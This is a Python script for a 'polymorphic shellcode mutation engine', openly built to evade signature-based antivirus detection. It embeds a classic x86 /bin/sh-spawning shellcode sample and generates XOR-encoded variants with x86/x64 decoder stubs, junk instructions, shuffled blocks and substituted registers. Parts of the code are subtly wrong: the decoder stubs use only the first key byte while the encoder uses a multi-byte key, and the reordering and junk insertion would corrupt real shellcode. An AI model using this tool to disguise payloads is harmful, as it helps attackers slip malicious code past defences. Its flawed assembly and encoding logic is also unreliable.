polymorph.py

#!/usr/bin/env python3
"""
██████╗  ██████╗ ██╗  ██╗   ██╗███╗   ███╗ ██████╗ ██████╗ ██████╗ ██╗  ██╗
██╔══██╗██╔═══██╗██║  ╚██╗ ██╔╝████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║  ██║
██████╔╝██║   ██║██║   ╚████╔╝ ██╔████╔██║██║   ██║██████╔╝██████╔╝███████║
██╔═══╝ ██║   ██║██║    ╚██╔╝  ██║╚██╔╝██║██║   ██║██╔══██╗██╔═══╝ ██╔══██║
██║     ╚██████╔╝███████╗██║   ██║ ╚═╝ ██║╚██████╔╝██║  ██║██║     ██║  ██║
╚═╝      ╚═════╝ ╚══════╝╚═╝   ╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝

  Polymorphic Shellcode Mutation Engine
  ──────────────────────────────────────────────
  Generates unique encoded variants of shellcode payloads
  using XOR key rotation, junk insertion, decoder stubs,
  and entropy management to evade signature-based detection.

  Author  : mazen91111 (parasite911)
  GitHub  : https://github.com/mazen91111
  ⚠️  For authorized security research and education ONLY.
"""

import argparse
import hashlib
import math
import os
import random
import struct
import sys
from dataclasses import dataclass, field

try:
    from colorama import Fore, Style, init as ci; ci(autoreset=True); C = True
except ImportError:
    C = False

def R(t): return (Fore.RED     + t + Style.RESET_ALL) if C else t
def G(t): return (Fore.GREEN   + t + Style.RESET_ALL) if C else t
def Y(t): return (Fore.YELLOW  + t + Style.RESET_ALL) if C else t
def B(t): return (Fore.CYAN    + t + Style.RESET_ALL) if C else t
def M(t): return (Fore.MAGENTA + t + Style.RESET_ALL) if C else t
def W(t): return (Style.BRIGHT + t + Style.RESET_ALL) if C else t


# ─────────────────────────────────────────────────────────────────
# Entropy calculation
# ─────────────────────────────────────────────────────────────────
def entropy(data: bytes) -> float:
    if not data:
        return 0.0
    freq = [0] * 256
    for b in data:
        freq[b] += 1
    e = 0.0
    for c in freq:
        if c:
            p = c / len(data)
            e -= p * math.log2(p)
    return round(e, 4)


# ─────────────────────────────────────────────────────────────────
# Mutation Techniques
# ─────────────────────────────────────────────────────────────────
@dataclass
class MutationResult:
    technique: str
    original_size: int
    mutated_size: int
    original_hash: str
    mutated_hash: str
    original_entropy: float
    mutated_entropy: float
    xor_key: bytes = b""
    decoder_stub: bytes = b""
    payload: bytes = b""


def xor_encode(shellcode: bytes, key_len: int = 4) -> tuple:
    """Multi-byte XOR encoding with random key."""
    key = os.urandom(key_len)
    encoded = bytearray()
    for i, b in enumerate(shellcode):
        encoded.append(b ^ key[i % key_len])
    return bytes(encoded), key


def generate_decoder_stub_x86(key: bytes, sc_len: int) -> bytes:
    """Generate x86 decoder stub that decodes XOR-encoded payload at runtime."""
    # This is a research/educational stub representation
    # Real decoder: jmp short, call, pop esi, xor loop
    stub = bytearray()
    stub += b"\xeb\x0d"                              # jmp short (skip key data)
    stub += b"\x5e"                                   # pop esi (shellcode addr)
    stub += b"\x31\xc9"                               # xor ecx, ecx
    stub += b"\xb1" + struct.pack("B", sc_len & 0xFF) # mov cl, len
    # XOR decode loop
    stub += b"\x80\x36" + bytes([key[0]])             # xor byte [esi], key[0]
    stub += b"\x46"                                   # inc esi
    stub += b"\xe2\xfa"                               # loop -6
    stub += b"\xeb\x05"                               # jmp to decoded shellcode
    stub += b"\xe8\xee\xff\xff\xff"                   # call (push addr)
    return bytes(stub)


def generate_decoder_stub_x64(key: bytes, sc_len: int) -> bytes:
    """Generate x64 decoder stub (research representation)."""
    stub = bytearray()
    stub += b"\x48\x31\xc9"                            # xor rcx, rcx
    stub += b"\x48\xb1" + struct.pack("B", sc_len & 0xFF)  # mov cl, len
    stub += b"\xeb\x0b"                                # jmp short
    stub += b"\x5e"                                    # pop rsi
    stub += b"\x80\x36" + bytes([key[0]])              # xor byte [rsi], key[0]
    stub += b"\x48\xff\xc6"                            # inc rsi
    stub += b"\xe2\xf8"                                # loop
    stub += b"\xeb\x05"                                # jmp decoded
    stub += b"\xe8\xf0\xff\xff\xff"                    # call
    return bytes(stub)


# Junk instruction pools (x86/x64 NOPs and harmless instructions)
JUNK_X86 = [
    b"\x90",                    # nop
    b"\x40\x48",                # inc eax; dec eax
    b"\x87\xdb",                # xchg ebx, ebx
    b"\x50\x58",                # push eax; pop eax
    b"\x53\x5b",                # push ebx; pop ebx
    b"\x51\x59",                # push ecx; pop ecx
    b"\x52\x5a",                # push edx; pop edx
    b"\x89\xc0",                # mov eax, eax
    b"\x31\xc0\x31\xc0",        # xor eax,eax; xor eax,eax
    b"\xf8",                    # clc
    b"\xf9",                    # stc
    b"\xfc",                    # cld
]

JUNK_X64 = [
    b"\x90",                    # nop
    b"\x48\x87\xc0",            # xchg rax, rax
    b"\x50\x58",                # push rax; pop rax
    b"\x53\x5b",                # push rbx; pop rbx
    b"\x48\x89\xc0",            # mov rax, rax
    b"\x48\x31\xc0\x48\x31\xc0", # xor rax,rax; xor rax,rax
    b"\xf8",                    # clc
    b"\xfc",                    # cld
]


def insert_junk(shellcode: bytes, density: float = 0.3, arch: str = "x86") -> bytes:
    """Insert junk/NOP instructions at random positions."""
    pool = JUNK_X86 if arch == "x86" else JUNK_X64
    result = bytearray()
    for b in shellcode:
        if random.random() < density:
            result += random.choice(pool)
        result.append(b)
    return bytes(result)


def permute_independent_blocks(shellcode: bytes, block_size: int = 8) -> bytes:
    """Shuffle independent blocks (simulates basic block reordering)."""
    blocks = [shellcode[i:i+block_size] for i in range(0, len(shellcode), block_size)]
    # Keep first and last blocks in place, shuffle middle
    if len(blocks) > 3:
        middle = blocks[1:-1]
        random.shuffle(middle)
        blocks = [blocks[0]] + middle + [blocks[-1]]
    return b"".join(blocks)


def register_substitution(shellcode: bytes) -> bytes:
    """Substitute equivalent register operations (research simulation)."""
    # Simple byte-level substitution of equivalent x86 instructions
    subs = {
        b"\x31\xc0": b"\x29\xc0",    # xor eax,eax → sub eax,eax
        b"\x31\xdb": b"\x29\xdb",    # xor ebx,ebx → sub ebx,ebx
        b"\x31\xc9": b"\x29\xc9",    # xor ecx,ecx → sub ecx,ecx
        b"\x31\xd2": b"\x29\xd2",    # xor edx,edx → sub edx,edx
    }
    result = shellcode
    for orig, repl in subs.items():
        if random.random() > 0.5:
            result = result.replace(orig, repl)
    return result


# ─────────────────────────────────────────────────────────────────
# Mutation Pipeline
# ─────────────────────────────────────────────────────────────────
def mutate(shellcode: bytes, arch: str = "x86", techniques: list = None) -> MutationResult:
    """Apply selected mutation techniques to shellcode."""
    if techniques is None:
        techniques = ["xor", "junk", "reorder", "sub"]

    orig_hash = hashlib.sha256(shellcode).hexdigest()
    orig_ent  = entropy(shellcode)
    mutated   = shellcode
    xor_key   = b""
    decoder   = b""
    tech_names = []

    if "sub" in techniques:
        mutated = register_substitution(mutated)
        tech_names.append("Register Substitution")

    if "reorder" in techniques:
        mutated = permute_independent_blocks(mutated)
        tech_names.append("Block Reordering")

    if "junk" in techniques:
        mutated = insert_junk(mutated, density=0.25, arch=arch)
        tech_names.append("Junk Insertion")

    if "xor" in techniques:
        mutated, xor_key = xor_encode(mutated, key_len=random.choice([4, 8, 16]))
        if arch == "x64":
            decoder = generate_decoder_stub_x64(xor_key, len(mutated))
        else:
            decoder = generate_decoder_stub_x86(xor_key, len(mutated))
        tech_names.append(f"XOR Encode (key={xor_key.hex()[:16]}..)")

    return MutationResult(
        technique       = " + ".join(tech_names),
        original_size   = len(shellcode),
        mutated_size    = len(decoder) + len(mutated),
        original_hash   = orig_hash,
        mutated_hash    = hashlib.sha256(decoder + mutated).hexdigest(),
        original_entropy= orig_ent,
        mutated_entropy = entropy(decoder + mutated),
        xor_key         = xor_key,
        decoder_stub    = decoder,
        payload         = decoder + mutated,
    )


# ─────────────────────────────────────────────────────────────────
# Report Printer
# ─────────────────────────────────────────────────────────────────
def print_report(results: list, original: bytes):
    sep  = "═" * 70
    sep2 = "─" * 70

    print(f"\n{W(sep)}")
    print(W("  🔀 PolyMorph-Engine — Mutation Report"))
    print(W(sep))
    print(f"  Original Size    : {len(original):,} bytes")
    print(f"  Original SHA-256 : {hashlib.sha256(original).hexdigest()}")
    print(f"  Original Entropy : {entropy(original)}")
    print(f"  Variants Created : {len(results)}")

    # Uniqueness check
    hashes = [r.mutated_hash for r in results]
    unique = len(set(hashes))
    print(f"  Unique Hashes    : {G(str(unique))}/{len(results)} ({R('100% polymorphic') if unique == len(results) else Y('partial')})")

    print(f"\n  {W('[ MUTATION VARIANTS ]')}")
    print(f"  {sep2}")

    for i, r in enumerate(results):
        print(f"\n  {M(f'Variant #{i+1}')}")
        print(f"    Techniques  : {Y(r.technique)}")
        print(f"    Size        : {r.original_size} → {R(str(r.mutated_size))} bytes (+{r.mutated_size - r.original_size})")
        print(f"    Hash        : {B(r.mutated_hash[:32])}...")

        # Entropy comparison bar
        ent_col = R if r.mutated_entropy >= 7.0 else Y if r.mutated_entropy >= 5.5 else G
        bar_orig = int(r.original_entropy * 4)
        bar_mut  = int(r.mutated_entropy * 4)
        print(f"    Entropy     : {r.original_entropy} → {ent_col(str(r.mutated_entropy))}")
        print(f"      Original  : [{G('█' * bar_orig + '░' * (32 - bar_orig))}]")
        print(f"      Mutated   : [{ent_col('█' * bar_mut + '░' * (32 - bar_mut))}]")

        if r.xor_key:
            print(f"    XOR Key     : {M(r.xor_key.hex())}")
        if r.decoder_stub:
            print(f"    Decoder Stub: {len(r.decoder_stub)} bytes")

    # Signature evasion summary
    print(f"\n  {W('[ SIGNATURE EVASION SUMMARY ]')}")
    print(f"  {sep2}")
    print(f"  ✓ All {unique} variants produce {R('unique SHA-256 hashes')}")
    print(f"  ✓ XOR encoding eliminates {Y('static byte patterns')}")
    print(f"  ✓ Junk insertion changes {Y('code structure and offsets')}")
    print(f"  ✓ Block reordering alters {Y('control flow graph')}")
    print(f"  ✓ Register substitution modifies {Y('instruction encoding')}")
    print(f"\n{W(sep)}\n")


# ─────────────────────────────────────────────────────────────────
# Entry Point
# ─────────────────────────────────────────────────────────────────
def banner():
    print(M("""
  ╔════════════════════════════════════════════════════════════════╗
  ║      PolyMorph-Engine — Polymorphic Shellcode Mutator        ║
  ║    XOR · Junk · Reorder · Substitute · Entropy Management    ║
  ║      Author: mazen91111 (parasite911)  ·  Red Team R&D      ║
  ╚════════════════════════════════════════════════════════════════╝"""))


def main():
    banner()
    parser = argparse.ArgumentParser(description="PolyMorph-Engine — Polymorphic Shellcode Mutator")
    parser.add_argument("-f", "--file", help="Raw shellcode file to mutate")
    parser.add_argument("-n", "--variants", type=int, default=5, help="Number of variants to generate (default: 5)")
    parser.add_argument("--arch", choices=["x86", "x64"], default="x86", help="Architecture (default: x86)")
    parser.add_argument("--techniques", nargs="+", default=["xor", "junk", "reorder", "sub"],
                        choices=["xor", "junk", "reorder", "sub"], help="Mutation techniques to apply")
    parser.add_argument("-o", "--output-dir", default=None, help="Save variants to directory")
    parser.add_argument("--demo", action="store_true", help="Run demo with sample shellcode")
    args = parser.parse_args()

    if args.demo:
        # Classic x86 exec /bin/sh shellcode (research sample)
        shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
                     b"\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
        print(B("  [*] Demo mode: using sample 23-byte x86 shellcode"))
    elif args.file:
        if not os.path.isfile(args.file):
            print(R(f"  [!] File not found: {args.file}"))
            sys.exit(1)
        with open(args.file, "rb") as f:
            shellcode = f.read()
        print(B(f"  [*] Loaded {len(shellcode)} bytes from {args.file}"))
    else:
        print(R("  [!] Provide -f <shellcode_file> or use --demo"))
        sys.exit(1)

    print(B(f"  [*] Generating {args.variants} polymorphic variants ({args.arch})..."))

    results = []
    for i in range(args.variants):
        r = mutate(shellcode, arch=args.arch, techniques=args.techniques)
        results.append(r)

    print_report(results, shellcode)

    if args.output_dir:
        os.makedirs(args.output_dir, exist_ok=True)
        for i, r in enumerate(results):
            out_path = os.path.join(args.output_dir, f"variant_{i+1}.bin")
            with open(out_path, "wb") as f:
                f.write(r.payload)
        print(G(f"  [+] {len(results)} variants saved → {args.output_dir}/"))

    print(G("  [✓] PolyMorph-Engine mutation complete.\n"))


if __name__ == "__main__":
    main()